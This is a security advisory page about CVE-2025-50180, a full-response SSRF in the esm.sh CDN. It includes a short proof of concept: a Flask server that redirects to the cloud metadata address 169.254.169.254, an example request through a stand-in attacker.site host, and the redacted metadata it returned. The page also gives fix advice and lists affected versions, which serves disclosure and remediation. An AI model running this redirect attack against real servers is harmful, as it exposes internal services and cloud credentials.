CVE-2025-50180: esm.sh is vulnerable to full-response SSRF

Published Feb 25, 2026
·
Updated

Summary

esh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.

Details

Vulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511

If the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.

eg: https://esm.sh/https://local.site/test.md

".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"

A 302 redirect can be used to bypass the suffix restriction.

eg: https://esm.sh/https://attacker.site/test.md

https://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json

PoC

Use Flask to start a server that returns a 302 redirect.

python from flask import Flask, redirect

app = Flask(name)

@app.route('/test.md') def redirecttest(): return redirect("http://169.254.169.254/v1.json", code=302)

if name == 'main': app.run(host='0.0.0.0', port=80)

Let esh.sh visit this site.

https://esm.sh/https://attacker.site/test.md

Attacker can obtain data from http://169.254.169.254/v1.json.

var t=<p>&lbrace;&quot;bgp&quot;:&lbrace;&quot;ipv4&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;my-address&quot;:&quot;&quot;,&quot;my-asn&quot;:&quot;&quot;,&quot;peer-address&quot;:&quot;&quot;,&quot;peer-asn&quot;:&quot;&quot;&rbrace;&rbrace;,&quot;hostname&quot;:&quot;&quot;,&quot;instance-v2-id&quot;:&quot;&quot;,&quot;instanceid&quot;:&quot;&quot;,&quot;interfaces&quot;:[&lbrace;&quot;ipv4&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;&quot;,&quot;gateway&quot;:&quot;&quot;,&quot;netmask&quot;:&quot;&quot;,&quot;routes&quot;:[&lbrace;&quot;netmask&quot;:32,&quot;network&quot;:&quot;&quot;&rbrace;]&rbrace;,&quot;ipv6&quot;:&lbrace;&quot;additional&quot;:[],&quot;address&quot;:&quot;&quot;,&quot;network&quot;:&quot;&quot;,&quot;prefix&quot;:&quot;64&quot;&rbrace;,&quot;mac&quot;:&quot;&quot;,&quot;network-type&quot;:&quot;public&quot;&rbrace;],&quot;nvidia-driver&quot;:[],&quot;public-keys&quot;:[&quot;&quot;],&quot;region&quot;:&lbrace;&quot;countrycode&quot;:&quot;US&quot;,&quot;regioncode&quot;:&quot;SJC&quot;&rbrace;,&quot;tags&quot;:[]&rbrace;</p> ,o={},u=t;export{u as default,t as html,o as meta};

Decode the data (redacted) .

json {"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"","instance-v2-id":"","instanceid":"","interfaces":[{"ipv4":{"additional":[],"address":"","gateway":"","netmask":"","routes":[{"netmask":32,"network":""}]},"ipv6":{"additional":[],"address":"","network":"","prefix":"64"},"mac":"","network-type":"public"}],"nvidia-driver":[],"public-keys":[""],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}

Impact

An attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.

Fix

It is recommended to use safeurl.Client as a replacement for http.Client.

https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13

https://github.com/doyensec/safeurl

Other sources

esm.sh is a no-build content delivery network (CDN) for web development. In version 136, esm.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability. Version 137 fixes the vulnerability.

NVD

Affected Software

2 affected componentsFixes available
go/github.com/esm-dev/esm.sh<0.0.0-20250616164159-0593516c4cfa
0.0.0-20250616164159-0593516c4cfa
esm esm.sh<137

Event History

Feb 25, 2026
Advisory Published
via GitHub·03:19 PM
Data Sourced
via GitHub·03:19 PM
DescriptionWeaknessAffected Software
CVE Published
via MITRE·03:32 PM
Data Sourced
via MITRE·03:32 PM
DescriptionWeakness
Data Sourced
via NVD·04:23 PM
RemedyDescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2025-50180?

CVE-2025-50180 is classified as a critical vulnerability due to the risk of exposing sensitive internal data.

2

How do I fix CVE-2025-50180?

To fix CVE-2025-50180, update esm.sh to version 0.0.0-20250616164159-0593516c4cfa or later.

3

Which versions of esm.sh are affected by CVE-2025-50180?

CVE-2025-50180 affects all versions of esm.sh up to but not including 0.0.0-20250616164159-0593516c4cfa.

4

What kind of attack can exploit CVE-2025-50180?

CVE-2025-50180 can be exploited through a Server-Side Request Forgery (SSRF) attack, allowing attackers to access internal resources.

5

What should I do if I cannot update esm.sh immediately to address CVE-2025-50180?

If immediate updates are not possible, implement network restrictions to limit access from esm.sh to your internal resources.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203